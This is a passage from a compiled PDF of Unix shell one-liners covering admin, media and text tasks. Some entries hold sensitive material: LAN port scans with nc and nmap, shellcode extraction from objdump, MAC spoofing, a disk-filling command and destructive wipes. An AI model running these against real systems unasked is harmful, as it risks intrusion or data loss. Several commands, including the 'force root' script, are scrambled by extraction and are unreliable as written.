zcat a_big_file.gz | sed -ne "$(zcat a_big_file.gz | tr -d "[:print:]" | cat -n | grep -vP
"^ *\d+\t$" | cut -f 1 | sed -e "s/\([0-9]\+\)/\1=;\1p;/" | xargs)" | tr -c "[:print:]\n"
"?"
# erase content from a cdrw
cdrecord -v -blank=all -force
# Delete a file/directory walking subdirectories (bash4 or zsh)
shopt -s globstar ; rm -f **/cscope.out
# find the rpm package name that provides a specific file
rpm -q --whatprovides $filename
# Pick a random line from a file
perl -e 'rand($.) < 1 && ($line = $_) while <>;'

# Force the script to be started as root


if [ $EUID -ne 0 ];then if [ -t $DISPLAY ]; then
$*"; exit;fi;fi

sudo $0 "$*"; exit; else xdg-su -c "$0

291 / 658

All UNIX COMMANDS


# Which files/dirs waste my disk space
du -Sh | sort -h | tail
# Watch movies in your terminal
mplayer -vo caca MovieName.avi
# Fill up disk space (for testing)
tail $0 >> $0
# Print a row of 50 hyphens
ruby -e 'puts "-" * 50'
# memory usage
ps -e -orss=,args= | sort -b -k1,1n | pr -TW$COLUMNS
# simple port check command
parallel 'nc -z -v {1} {2}' ::: 192.168.1.10 192.168.1.11 ::: 80 25 110
# extract email adresses from some file (or any other pattern)
grep -aEio '([[:alnum:]_.-\+\-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
# for ssh uptime
mussh -h 192.168.100.{1..50} -m -t 10 -c uptime
# Fix borked character coding in a tty.
LC_ALL=C man -c man
# Pretty Print a simple csv in the command line
python -c 'import sys,csv; c = csv.reader(sys.stdin);
[sys.stdout.write("^M".join(map(repr,r))+"\n") for r in c];' <tmp/test.csv | column -s '^M'
-t
# Search apache virtual host by pattern
sed -n '/^[^#]*<Virtual/{:l N; /<\/Virtual/!bl;}; /PATTERN/p' vhosts.conf
# Create a bash script from last n commands
history | tail -(n+1) | head -(n) | sed 's/^[0-9 ]\{7\}//' >> ~/script.sh
# Show linux kernel modules dependencies
modprobe --show-depends module_name
# Add fade in/out to first & last 25 frames of a video
melt colour:black out=24 vid.mp4 -mix 25 -mixer luma colour:black out=24 -mix 25 -mixer luma
-consumer avformat:out.mp4
# Testing php configuration
php -r "phpinfo\(\);"
# Pretty man pages under X
vman(){ T=/tmp/$$.pdf;man -t $1 |ps2pdf - >$T; xpdf $T; rm -f $T; }
# diff 2 remote files
diff <(ssh user@host1 cat /path/to/file) <(ssh user@host2 cat /path/to/file2)
# Watch the disk fill up with change highlighting
watch -d -n 5 df
# Create a transition between two videos

292 / 658

All UNIX COMMANDS


melt a.mp4 out=49 -track -blank 24 b.mp4 -transition luma in=25 out=49 a_track=0 b_track=1
-consumer avformat:out.mp4
# SVN Clean
svn status | grep ^? | awk '{print $2}' | xargs rm -rf
# Backup with SSH in a archive
ssh -i $PRIVATEKEY $HOST -C 'cd $SOURCE; tar -cz --numeric-owner .' | tee
$DESTINATION/backup.tgz | tar -tz
# vim insert current filename
:r! echo %
# Easily decode unix-time (funtion)
utime(){ perl -e "print localtime($1).\"\n\"";}
# Ruby - nslookup against a list of IP`s or FQDN`s
while read n; do host $n; done < list

# How to speedup the Ethernet device


sudo ethtool -s eth0 speed 100 duplex full
# convert MTS video file format into xvid/mp3 avi format
mencoder YOUR_VIDEO.MTS -ovc xvid -xvidencopts bitrate=5000:pass=2 -demuxer lavf -sws 3
0 -fps 25 -ofps 50 -oac mp3lame -lameopts cbr:br=128 -o YOUR_VIDEO.avi

-mc

# Mount file system using back-up superblock


mount -o sb=98304 /dev/sda5 /mnt/data5
# Sum columns from CSV column $COL
perl -F',' -ane '$a += $F[3]; END { print $a }' test.csv
# Recursively replace a string in files with lines matching string
find . -type f |xargs -I% sed -i '/group name/s/>/ deleteMissing="true">/' %
# convert chinese character into wubi86 input code
echo Your_Chinese_Char | uniconv -encode Chinese-WB
# backup system over ssh, exlucde common dirs
ssh root@192.168.0.1 "cd /;nice -n 10 tar cvpP ?
exclude={"/proc/*","/sys*","/tmp/*","/home/user/*"} /">backup.tar.gz
# Extract all 404 errors from your apache accesslog (prefix lines by occurrences number)
grep "HTTP/1.1\" 404" access_log | awk '{print $7 } ' | sort | uniq -c | sort -n
# Toggle between directories
cd # Mount a temporary ram partition
mdmfs -s 256m md /mnt
# Recursive Ownership Change
chown -cR --from=olduser:oldgroup newuser:newgroup *
# For Gentoo users : helping with USE / emerge
emerge -epv world | grep USE | cut -d '"' -f 2 | sed 's/ /\n/g' | sed '/[(,)]/d' | sed
s/'*'//g | sort | uniq > use && grep ^- use | sed s/^-// | sed ':a;N;$!ba;s/\n/ /g' > notuse
&& sed -i /^-/d use && sed -i ':a;N;$!ba;s/\n/ /g' use

293 / 658

All UNIX COMMANDS


# search string in _all_ revisions
for i in `git log --all --oneline --format=%h`; do git grep SOME_STRING $i; done
# Incase you miss the famous 'C:\>' prompt
export PS1='C:${PWD//\//\\\}>'
# SAR - List the average memory usage for all days recorded under '/var/log/sa/*' using sar
-r.
for i in `ls /var/log/sa/|grep -E "sa[0-9][0-9]"`;do echo -ne "$i -- ";sar -r -f
/var/log/sa/$i|awk '{ printf "%3.2f\n",($4-$6-$7)*100/(3+$4)}'|grep -Eiv "average|linux|^
--|0.00|^-" |awk '{sum+=$1 }END{printf "Average = %3.2f%%\n",sum/NR}';done
# Terminal - Show directories in the PATH, one per line with sed and bash3.X `here string'
sed 's/:/\n/g' <<<$PATH
# move contents of the current directory to the parent directory, then remove current
directory.
find . ! -name "." -print0 | xargs -0 -I '{}' mv -n '{}' ..; rmdir "$PWD"
# How to estimate the storage size of all files not named *.[extension] on the current
directory
find . -maxdepth 1 -type f -not -iname '*.jpg' -ls |awk '{TOTAL+=$7} END {print int(TOTAL/
(1024^2))"MB"}'
# Validate openssh key & print checksum
ssh-keygen -l -f [pubkey] | awk '{print $2}' | tr -ds ':' '' | egrep -ie "[a-f0-9]{32}"
# Rsync between two servers
rsync -zav --progress original_files_directory/ root@host(IP):/path/to/destination/
# convert a pdf to jpeg
sips -s format jpeg Bild.pdf --out Bild.jpg
# Salvage a borked terminal
echo <ctrl+v><ctrl+o><enter>
# Remove all .svn folders
find . -name .svn -type d |xargs rm -rf
# Check if a package is installed.
dpkg -l python

If it is, the version number will be shown.

# Cropping a video file in ffmpeg


ffmpeg -i inputfile.avi -croptop 88 -cropbottom 88 -cropleft 360 -cropright 360
outputfile.avi

# Remove a range of lines from a file


sed -i <start>,<end>d <filename>
# Extract the contents of an RPM package to your current directory without installing them.
rpm2cpio /path/to/file.rpm | cpio -i -d
# Record camera's output to a avi file
mencoder -tv device=/dev/video1 tv:// -ovc copy -o video.avi
# Get current Xorg resolution via xrandr
xrandr -q|sed -n 's/.*current[ ]\([0-9]*\) x \([0-9]*\),.*/\1x\2/p'

294 / 658

All UNIX COMMANDS


# Fetch the Gateway Ip Address
netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}'
# Get IP from host
getent hosts positon.org | cut -d' ' -f1
# search for text in files. recursive.
find /name/of/dir/ -name '*.txt' | xargs grep 'text I am searching for'
# firefox: how many eat?
htop -p `pgrep firefox`
# Remove apps with style: nuke it from orbit
function nuke() { if [ $(whoami) != "root" ] ; then for x in $@; do sudo apt-get autoremove
--purge $x; done; else for x in $@; do apt-get autoremove --purge $x; done; fi }
# Convert a videos audio track to ogg vorbis.
INPUT=<input_video> && ffmpeg -i "$INPUT" -vn -f wav - | oggenc -o ${INPUT%%.*}.ogg # Encode a file to MPEG4 format
mencoder video.avi lavc -lavcopts vcodec=mpeg4:vbitrate=800 newvideo.avi
# Remove sound from video file using mencoder
mencoder -ovc copy -nosound input.avi -o output.avi
# Create a tar file with the current date in the name.
tar cfz backup-`date +%F`.tgz somedirs
# svn diff colorized
svn diff --diff-cmd="colordiff"
# Generate random sensible passwords, and copy them to the clipboard
while true; do curl -s http://sensiblepassword.com/?harder=1 | tail -n 15 | head -n 1 | sed
's;<br/>;;' | cut -c 5- | cb; sleep 1; done
# netstat with group by (ip adress)
netstat -ntu | awk ' $5 ~ /^(::ffff:|[0-9|])/ { gsub("::ffff:","",$5); print $5}' | cut -d:
-f1 | sort | uniq -c | sort -nr
# Easily run a program in the background without losing output
function fork () { tf=$(tempfile -d /tmp -p $1.);echo -n "$tf

"; $@ &>$tf& }

# Get all shellcode on binary file from objdump


objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|
tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
# Get movie length
mplayer -vo null -ao null -frames 0 -identify movie.avi | awk '{FS="="}; /ID_LENGTH/
{ H=int($2/3600); M=int(($2-H*3600)/60); S=int($2%60); print H":"M":"S}'
# Hide comments
nocomments () { cat $1 | egrep -v '^[[:space:]]*#|^[[:space:]]*$|^[[:space:]]*;' | sed
'/<!--.*-->/d' | sed '/<!--/,/-->/d'; }
# Oneliner to get domain names list of all existing domain names (from wikipedia)
curl -s http://en.m.wikipedia.org/wiki/List_of_Internet_top-level_domains | sed -n '/<tr
valign="top">/{s/<[^>]*>//g;p}'
# Simple MAC Changeing

295 / 658

All UNIX COMMANDS


ifconfig wlan0 hw ether 00:11:22:33:44:55
# calculate how much bogomips one cpu core has (assuming you have 4 cores).
cat /proc/cpuinfo | grep BogoMIPS | uniq | sed 's/^.*://g' | awk '{print($1 / 4) }'
# Get current Xorg resolution via xrandr
xrandr -q | awk -F'current' -F',' 'NR==1 {gsub("( |current)","");print $2}'
# list all file extensions in a directory
find /path/to/dir -type f | grep -o '\.[^./]*$' | sort | uniq

# Displays the version of the Adobe Flash plugin installed


strings /usr/lib/flashplugin-nonfree/libflashplayer.so |grep ^LNX
# World Cup Live Score
watch -n10 --no-title "w3m http://www.livescore.com/ |egrep 'live [0-9H]+[^ ]'"
# Export a subset of a database
mysqldump --where="true LIMIT X" databasename > output.sql
# set prompt and terminal title to display hostname, user ID and pwd
export PS1='\[\e]0;\h \u \w\a\]\n\[\e[0;34m\]\u@\h \[\e[33m\]\w\[\e[0;32m\]\n\$ '
# Delete Empty Directories
find . -type d -exec rmdir {} \;
# Remove all files but one starting with a letter(s)
rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*
# Download streaming video in mms
mimms mms://Your_url.wmv
# Run a command, redirecting output to a file, then edit the file with vim.
vimcmd() { $1 > $2 && vim $2; }
# Monitor connection statistics with netstat and watch
watch -n 1 "netstat -ntu | sed '1,2d' | awk '{ print \$6 }' | sort | uniq -c | sort -k 2"
# Resize all JPEGs in a directory
mogrify -resize 1024 *.jpg
# Mortality Countdown
while [ 0 ]; do expr 2365200000 \- `date +%s` \- `date --date "YYYY-mm-dd HH:MM:ss" +%s`;
sleep 1; clear; done
# convert a,b,c to ('a','b','c') for use in SQL in-clauses
echo a,b,c | sed -e s/,/\',\'/g -e s/^/\(\'/ -e s/$/\'\)/
# Monitoring sessions that arrive at your server
watch -n 1 -d "finger"
# list all file extensions in a directory
find /path/to/dir -type f -name '*.*' | sed 's@.*/.*\.@.@' | sort | uniq
# shut of the screen ( Fool proof )
switchMonitor () { LF=/tmp/screen-lock; if [ -f $LF ]; then rm $LF; else touch $LF; sleep .
5; while [ -f $LF ]; do xset dpms force off; sleep 2; done; fi };

296 / 658

All UNIX COMMANDS


# quit gvim remotely
gvim --remote-send ":q!<CR>"
# ANSI Terminal Color Test using python
colortest-python
# wget multiple files (or mirror) from NTLM-protected Sharepoint
http_proxy=http://127.0.0.1:3128 wget --http-user='domain\account' --http-password='###' -p
-r -l 8 --no-remove-listing -P . 'http://sp.corp.com/teams/Team/Shared
%20Documents/Forms/AllItems.aspx?RootFolder=%2fteams%2fTeam%2fShared%20Documents%2fFolder'
# Type strait into a file from the terminal.
cat /dev/tty > FILE
# find geographical location of an ip address
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|sed -nr s/'^.*My IP address city: (.+)
$/\1/p'
# most used unix commands
cut -d\
-f 1 ~/.bash_history | sort | uniq -c | sort -rn | head -n 10 | sed 's/.*/
&/g'
# Happy New Year!
perl -e 'print for(map{chr(hex)}("4861707079204E6577205965617221"=~/(.{2})/g)),"\n";'
# Zip each file in a directory individually with the original file name
ls -1 | awk ' { print "zip "$1".zip " $1 } ' | sh
# ANSI 256 Color Test
alias colortest="python -c \"print('\n'.join([(' '.join([('\033[38;5;' + str((i + j)) + 'm'
+ str((i + j)).ljust(5) + '\033[0m') if i + j < 256 else '' for j in range(10)])) for i in
range(0, 256, 10)]))\""
# Send apache log to syslog-ng
CustomLog "|nc -u IP PORT "<134>%{%b %d %X}t %h %l %u %t \"%r\"%>s %b \"%{Referer}i\" \"%
{User-agent}i\""

# Remove executable bit from all files in the current directory recursively, excluding other
directories
find . ! -type d -exec chmod -x {}\;
# Every Nth line position # (SED)
sed -n '1,${p;n;n;}' foo > foo_every3_position1; sed -n '2,${p;n;n;}' foo >
foo_every3_position2; sed -n '3,${p;n;n;}' foo > foo_every3_position3
# Squish repeated delimiters into one
echo "hello::::there" | tr -s ':'
# generate a random 10 character password
pwgen 10
# generate a table of 10 character random passwords
# apache statistics
grep "10/Sep/2013" access.log| cut -d[ -f2 | cut -d] -f1 | awk -F: '{print $2":"$3}' | sort
-nk1 -nk2 | uniq -c | awk '{ if ($1 > 10) print $0}'
# Create full backups of individual folders using find and tar-gzip

297 / 658

All UNIX COMMANDS


find /mnt/storage/profiles/ -maxdepth 1 -mindepth 1 -type d | while read d; do tarfile=`echo
"$d" | cut -d "/" -f5`; destdir="/local/backupdir/"; tar -czf $destdir/"$tarfile"_full.tgz
-P $d; done
# Fix the vi zsh bindings on ubuntu
sudo sed -iorig '/\(up\|down\)/s/^/#/' /etc/zsh/zshrc
# phpdoc shortcut
gophpdoc() { if [ $# -lt 2 ]; then echo $0 '< file > < title > [ pdf ]'; return; fi; if
[ "$3" == 'pdf' ]; then ot=PDF:default:default; else ot=HTML:frames:earthli; fi; phpdoc -o
$ot -f "$1" -t docs -ti "$2" }
# Prevent an IPv6 address on an interface from being used as source address of packets.
ip addr change 2001:db8:1:2::ab dev eth0 preferred_lft 0
# sync two folders except hidden files
rsync -vau --exclude='.*' SOURCE-PATH/myfold TARGET-PATH
# check open ports (both ipv4 and ipv6)
netstat -plntu
# Create incremental backups of individual folders using find and tar-gzip
find /mnt/storage/profiles/ -maxdepth 1 -mindepth 1 -type d | while read d; do tarfile=`echo
"$d" | cut -d "/" -f5`; destdir="/local/backupdir"; tar -czvf "$destdir"/"$tarfile"_`date +
%F`.tgz -P $d; done
# kill a process(e.g. conky) by its name, useful when debugging conky:)
kill `pidof conky`
# Generate random IP addresses
nmap -n -iR 0 -sL | cut -d" " -f 2
# One liner to kill a process when knowing only the port where the process is running
kill -9 `lsof -t -i :port_number`
# Calculate N!
echo $(($(seq -s* 10)))
# url shortner using google's shortner api
shorty () {
curl -s https://www.googleapis.com/urlshortener/v1/url\?key\=API_KEY -H
'Content-Type: application/json' -d '{"longUrl": "'"$1"'"}' | egrep -o 'http://goo.gl/[^"]*'
}
# Change a specific value in a path
echo /home/foo/dir1/bar | awk -F/ -v OFS=/ '{$3 = "dir2"}1'
# Ping xxx.xxx.xxx.xxx ip 100000 times with size 1024bytes
ping xxx.xxx.xxx.xxx size 1024 repeat 100000
# VIM: when Ctrl-D and Ctrl-U only scroll one line, reset to default
:set scroll=0
# count of files from each subfolder
for i in `find /home/ -maxdepth 1 -type d`; do

echo -n $i " ";find $i|wc -l; done

# Convert ascii string to hex


echo -n 'text' | xxd -ps | sed -e ':a' -e 's/\([0-9]\{2\}\|^\)\([0-9]\{2\}\)/\1\\x\2/;ta'
# tcpdump from src to dst
tcpdump src <srcIP> and dst <dstIP> -w file.pcap

298 / 658

All UNIX COMMANDS


# Hiding and Show files on Mac OS X
setfile -a V foo.bar; setfile -a v foo.bar;
# Directory Tree
find . -type d -print | sed -e 's;[^/]*/;..........;g'|awk '{print $0"-("NR-1")"}'

# Sort movies by length, longest first


for i in *.avi; do echo -n "$i:";totem-gstreamer-video-indexer $i | grep DURATION | cut -d
"=" -f 2 ; done | sort -t: -k2 -r
# copy partition table from /dev/sda to /dev/sdb
sfdisk -d /dev/sda | sfdisk /dev/sdb
# Email an svn dump
(svnadmin dump /path/to/repo | gzip --best > /tmp/svn-backup.gz) 2>&1 | mutt -s "SVN backup
`date +\%m/\%d/\%Y`" -a /tmp/svn-backup.gz emailaddress
# Display laptop battery information
acpi -V
# generate file list modified since last commit and export to tar file
git diff-tree -r --no-commit-id --name-only --diff-filter=ACMRT COMMID_HASH | xargs tar -rf
mytarfile.tar
# relabel current konsole tab
alias rk='d=$(dcop|grep $PPID) && s=$(dcop $d konsole currentSession) && dcop $d $s
renameSession'
# Use find to get around Argument list too long problem
find . -name 'junkfiles-*' -print0 | xargs -0 rm
# File browser
xdg-open $(ls . | dmenu)
# command line fu roulette
wget -qO - www.commandlinefu.com/commands/random | grep "<div class=\"command\">" | sed
's/<[^>]*>//g; s/^[ \t]*//; s/&quot;/"/g; s/&lt;/</g; s/&gt;/>/g; s/&amp;/\&/g'
# Replicate a directory structure dropping the files
find . -type d -print0 | (cd $DESTDIR; xargs -0 mkdir)
# Find files in multiple TAR files
find . -type f -name "*.tar" -printf [%f]\\n -exec tar -tf {} \; | grep -iE "[\[]|
<filename>"
# Replace duplicate files by hardlinks
fdupes -R -1 path | while read -r line; do (echo $line | xargs -n 1 | (first="true";
firstfile=""; while read file; do if [ "$first" == "true" ]; then first="false";
firstfile=$file; else ln --force "$firstfile" "$file"; fi; done)); done
# Encode file path to URL
convert_path2uri () { echo -n 'file://'; echo -n "$1" | perl -pe 's/([^a-zA-Z09_\/.])/sprintf("%%%.2x", ord($1))/eg' ;}
#convert2uri '/tmp/a b'
### convert file path
to URI
# Export unpushed files list

299 / 658

All UNIX COMMANDS


git log origin/master..master --name-only --pretty="format:" | sort | uniq | xargs tar -rf
mytarfile.tar
# Echo the contents of a Url
alias echourl="wget -qO -"
# In-Place search/replace with datestamped backup
sed -i.`date +%Y%m%d` -e 's/pattern/replace' [filename]
# Scan your LAN for unauthorized IPs
diff <(nmap -sP 192.168.1.0/24 | grep ^Host | sed 's/.appears to be up.//g' | sed
's/Host //g') auth.hosts | sed 's/[0-9][a-z,A-Z][0-9]$//' | sed 's/</UNAUTHORIZED IP -/g'
# Another way to see the network interfaces
ip addr show
# Directory Tree
tree -d
# Convert GoogleCL gmail contacts to cone adress book
google contacts list name,name,email|perl -pne 's%^((?!N\/A)(.+?)),((?!N\/A)(.+?)),([a-z09\._-]+\@([a-z0-9][a-z0-9-]*[a-z0-9]\.)+([a-z]+\.)?([a-z]+))%${1}:${3} <${5}>%imx' #see
below for full command
# Summarize size of all files of given type in all subdirectories (in bytes)
find . -iname '*.jpg' -type f -print0 |perl -0 -ne '$a+=-s $_;END{print "$a\n"}'
# Suppress output of loud commands you don't want to hear from
function quietly () { $* 2> /dev/null > /dev/null; };
# Get the size of all the directories in current directory (Sorted Human Readable)
du -h | sort -hr
# command line Google I'm Feeling Lucky
lucky(){ url=$(echo "http://www.google.com/search?hl=en&q=$@&btnI=I
%27m+Feeling+Lucky&aq=f&oq=" | sed 's/ /+/g'); lynx $url; }; lucky "Emperor Norton"
# port scan using parallel
seq 1 255 | parallel -j+0 'nc -w 1 -z -v 192.168.1.{} 80'

# Get number of users on a minecraft server


(echo -e '\xfe'; sleep 1) |telnet -L $HOSTIP 25565 2>/dev/null |awk -F'\xa7' '$2 {print
"users: "$2"/"$3;}'
# Equivalent to ifconfig -a in HPUX
for i in `netstat -rn|egrep -v "Interface|Routing"|awk '{print $5}'`;do ifconfig $i;done
# Watch active calls on an Asterisk PBX
/usr/sbin/asterisk -rx 'core show channels' | grep -m1 "call" | cut -d' ' -f1
# du and sort to find the biggest directories in defined filesystem
for i in G M K; do du -hx /var/ | grep [0-9]$i | sort -nr -k 1; done | less
# Sort netflow packet capture
grep -o -P '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:[0-9]{1,5}\s->\s{5}[0-9]{1,3}\.
[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:[0-9]{1,5}' <capture file> | tr -d ' ' | sed
's/:.....//g' | sort -n | uniq -c | sort -nr

300 / 658

All UNIX COMMANDS


# check the fucking weather
ZIP=48104; curl http://thefuckingweather.com/?zipcode=$ZIP 2>/dev/null|grep -A1 'div
class="large"'|tr '\n' ' '|sed 's/^.*"large" >\(..\)/\1/;s/&d.* <br \/>/ - /;s/<br
\/>//;s/<\/div.*$//'
# find co-ordinates of a location
findlocation() { place=`echo $* | sed 's/ /%20/g'` ; curl -s
"http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e
"coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}
# SVN script for automatically adding and deleting files
svn status | grep '^?' | sed -e 's/^? */svn add "/g' -e 's/$/"/g'|sh ; svn status | grep
'^!' | sed -e 's/^! */svn delete "/g' -e 's/$/"/g'|sh
# Open in TextMate Sidebar files (recursively) with names matching REGEX_A and not matching
REGEX_B
mate - `find * -type f -regex 'REGEX_A' | grep -v -E 'REGEX_B'`
# Show recent earthquakes in Bay Area
lynx --width=200 --dump 'http://quake.usgs.gov/recenteqs/Maps/San_Francisco_eqs.htm'|sed -ne
'/MAG.*/,/^References/{;s/\[[0-9][0-9]*\]//;1,/h:m:s/d;/Back to map/,$d;/^$/d;/^[ \t][
\t]*[3-9]\.[0-9][0-9]*[ \t][ \t]*/p; }'|sort -k1nr
# Show DeviceMapper names for LVM Volumes (to disambiguate iostat logs, etc)
sudo lvdisplay |awk '/LV Name/{blockdev=$3} /Block device/{bdid=$3; sub("[09]*:","dm-",bdid); print bdid,blockdev;}'
# Show demo of toilet fonts
find /usr/share/figlet -name *.?lf -exec basename {}
toilet -f {} {}

\; | sed -e "s/\..lf$//" | xargs -I{}

# [git] Output remote origin from within a local repository


git config --local --get remote.origin.url
# How to extract 5000 records from each table in MySQL
mysqldump --opt --where="true LIMIT 5000" dbinproduzione > miodbditest.sql
# generate a random 10 character password
pwgen -B -y 10
# flush memcached via netcat
echo 'flush_all' | nc localhost 11211 -i1 <<< 'quit'
# Show device drivers and their properties (Windows XP)
driverquery /si /fo table
# Find and copy scattered mp3 files into one directory
find . -name '*.mp3' -type f -exec sh -c 'exec cp -f "$@" /home/user/dir' find-copy {} +
# Wait the end of prog1 and launch prog2
pkill -0 prog1; while [ $? -eq 0 ]; do sleep 10; pkill -0 prog1; done; prog2
# Bytebeat
echo 'main(t){for(;;t++)putchar(((t<<1)^((t<<1)+(t>>7)&t>>12))|t>>(4-(1^7&(t>>19)))|t>>7);}'
| cc -x c - -o crowd && ./crowd | aplay
# Include a remote file (in vim)
:r scp://yourhost//your/file
# Check your hard drive for bad blocks (destructive)

301 / 658

All UNIX COMMANDS


badblocks -c 65536 -o /tmp/badblocks.out -p 2 -s -v -w /dev/hdX > /tmp/badblocks.stdout
2> /tmp/badblocks.stderr
# set a reminder for 5 days in the future
echo "DISPLAY=$DISPLAY xmessage setup suphp perms htscanner acct#101101 host2.domain.com" |
at 23:00 Feb 8
# increase recurively the modification time for a list of files
find . -type f | while read line; do NEW_TS=`date -d@$((\`stat -c '%Y' $line\` +
<seconds> )) '+%Y%m%d%H%M.%S'`; touch -t $NEW_TS ${line}; done
# Copy structure
cd $srcdir && find -type d -exec mkdir -p $dstdir/{} \;

# Fast search in man files or bz-files by keyword direct by man or bz files


bzgrep -lE "COMMIT_EDITMSG" /usr/share/man/man?/git*
# Creating shortened URLs from the command line
curl -s http://tinyurl.com/create.php?url=http://<website.url>/ | sed -n 's/.*\
(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' | uniq
# Create an eicar.com test virus
echo 'K5B!C%@NC[4\CMK54(C^)7PP)7}$RVPNE-FGNAQNEQ-NAGVIVEHF-GRFG-SVYR!$U+U*' | tr '[A-Za-z]'
'[N-ZA-Mn-za-m]' > /tmp/eicar.com
# Batch rename extension of all files in a folder, in the example from .txt to .md
rename 's/\.txt$/\.md$/i' *
# Uptime in minute
bc <<< `uptime | sed -e 's/^.*up //' -e 's/[^0-9:].*//' | sed 's/:/*60+/g'`
# Symlink all files from a base directory to a target directory
ln -s /base/* /target && ls -l /target
# Grep inside Vim and navigate results
:vimgrep pattern %
# Like top but for files
watch -d -n 2 'df; ls -FlAt;'
# print lib path of perl
perl -e 'print map { $_ . "\n" } @INC;'
# Delete all but the latest 5 files, ignoring directories
ls -lt|grep ^-|awk 'NR>5 { print $8 }'|xargs -r rm
# Clean your broken terminal
reset
# Print a monthly calendar with today's date highlighted
cal | grep -E --color "\b`date +%e`\b|$"
# What is my ip?
telnet v4address.com
# It decripts all pgp files in a selection folder and move the output into a file.
for x in *.pgp do `cat /file_with_the_passphrase.dat|(gpg --batch --no-tty --yes
--passphrase-fd=0 --decrypt `basename $x`; ) > 'dump_content.dat'` done;

302 / 658

All UNIX COMMANDS


# A function to find the newest file in a directory
newest () { DIR=${1:-'.'}; CANDIDATE=`find $DIR -type f|head -n1`; while [[ ! -z $CANDIDATE
]]; do BEST=$CANDIDATE; CANDIDATE=`find $DIR -newer "$BEST" -type f|head -n1`; done; echo
"$BEST"; }
# change user & preserver environment (.bashrc&co)
su - -m -p git
# Clone or rescue a block device
ddrescue -v /dev/sda /dev/sdb logfile.log
# Read a tcpdump file and count SYN packets to port 80, Order column by destination.
tcpdump -ntr NAME_OF_CAPTURED_FILE.pcap 'tcp[13] = 0x02 and dst port 80' | awk '{print $4}'
| tr . ' ' | awk '{print $1"."$2"."$3"."$4}' | sort | uniq -c | awk ' {print $2 "\t" $1 }'
# HDD Performance Write Test
dd if=/dev/zero of=10gb bs=1M count=10240
# Install the Debian-packaged version of a Perl module
function dpan () { PKG=`perl -e '$_=lc($ARGV[0]); s/::/-/g; print "lib$_-perl\n"' $1`; aptget install $PKG; }
# convert a .wmv to a .avi
mencoder "/path/to/file.wmv" -ofps 23.976 -ovc lavc -oac copy -o "/path/to/file.avi"
# Configuring proxy client on terminal without leaving password on screen or in bash_history
set-proxy () { P=webproxy:1234; DU="fred"; read -p "username[$DU]:" USER; printf "%b"; UN=$
{USER:-$DU}; read -s -p "password:" PASS; printf "%b" "\n"; export http_proxy="http://${UN}:
${PASS}@$P/"; export ftp_proxy="http://${UN}:${PASS}@$P/"; }
# view http traffic
tcpdump -i eth0 port 80 -w # Add all files
svn add `svn status | grep ? | cut -c9-80`
# convert mp3 into mb4 (audiobook format)
mpg123 -s input.mp3 | faac -b 80 -P -X -w -o output.m4b -

# Router discovery
traceroute 2>/dev/null -n google.com | awk '/^ *1/{print $2;exit}'
# A command to post a message and an auto-shortened link to Twitter. The link shortening
service is provide by TinyURL.
curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s
http://tinyurl.com/api-create.php?url=URL_GOES_HERE)" -d source="cURL"
http://twitter.com/statuses/update.json -o /dev/null
# Remove all unused kernels with apt-get
perl -e 'chomp($k=`uname -r`); for (</boot/vm*>) {s/^.*vmlinuz-($k)?//; $l.="linux-image-$_
";} system "aptitude remove $l";'
# Enable color pattern match highlighting in grep(1)
export GREP_OPTIONS='--color=auto'
# Opens files containing search term in vim with search term highlighted

303 / 658

All UNIX COMMANDS


ack-open () { local x="$(ack -l $* | xargs)"; if [[ -n $x ]]; then eval vim -c "/$*[-1] $x";
else echo "No files found"; fi }
# Time conversion/format using the date command
date -d '2011-12-15 05:47:09' +"epoch: %s or format: %Y/%m/%d"
# save stderr only to a file
command 3>&1 1>&2 2>&3 | tee file
# Find how far nested you are in subshells
echo "I am $BASH_SUBSHELL levels nested";
# Periodic Log Deletion
find /path/to/dir -type f -mtime +[#] -exec rm -f {} \;
# exim statistics about mails from queue
exim -bp | exiqsumm -c
# Search gpg keys from commandline
gpg --search-keys
# Makefile argument passing
make [target] VAR=foobar
# Realy remove file from your drive
function rrm(){ for i in $*; do; if [ -f $i ]; then; echo "rrm - Processing $i"; shred
--force --remove --zero --verbose $i; else; echo "Can't process $i"; type=$(stat "$1" -c
%F); echo "File $i is $type"; fi; done;}
# Convert ascii string to hex
echo -n 'text' | perl -pe 's/(.)/sprintf("\\x%x", ord($1))/eg'
# Generate list of words and their frequencies in a text file.
tr A-Z a-z | tr -d "[[:punct:]][[:digit:]]" | tr ' /_' '\n' | sort | uniq -c
# auto complete arguments
ls --[TAB][TAB]
# How to trim a video using ffmpeg
ffmpeg -i video.avi -vcodec copy -acodec copy -ss 00:00:00 -t 00:00:04 trimmed_video.avi
# list with full path
ls -d $PWD/*
# locating packages held back, such as with "aptitude hold <package>"
aptitude search ~ahold
# mean color of an image
convert image.jpg -resize 1x1 txt: | tail -1 | awk '{gsub(/[,\)]/," "); print $3+$4+$5}'
# Immediately put execute permission on any file saved/created in $HOME/bin
inotifywait -mr -e CREATE $HOME/bin/ | while read i; do chmod +x $(echo "$i" | sed 's/
\S* //'); done
# Webcam view with vlc
cvlc v4l2:// &
# Find and copy scattered mp3 files into one directory
find . -type f -iname '*.mp3' -exec cp {} ~/mp3/ \;

304 / 658

All UNIX COMMANDS


# Mirror every lvol in vg00 in hp-ux 11.31
find /dev/vg00 -type b |while read L; do lvextend -m 1 $L /dev/disk/<disk> ; done
# Redirect bash built-in output to stdout
TIME=$( { time YOUR_COMMAND_HERE; } 2>&1 ) ; echo $TIME

# Generate an XKCD #936 style 4 word passphrase (fast)


echo $(shuf -n4 /usr/share/dict/words)
# Indicates the position of my monitor buttons
echo "|MENU|
|DOWN|
|UP/BRIGHT| |ENTER|
-o -40 -i 1575

|AUTO|

|OFF|"|osd_cat -p bottom

# A trash function for bash


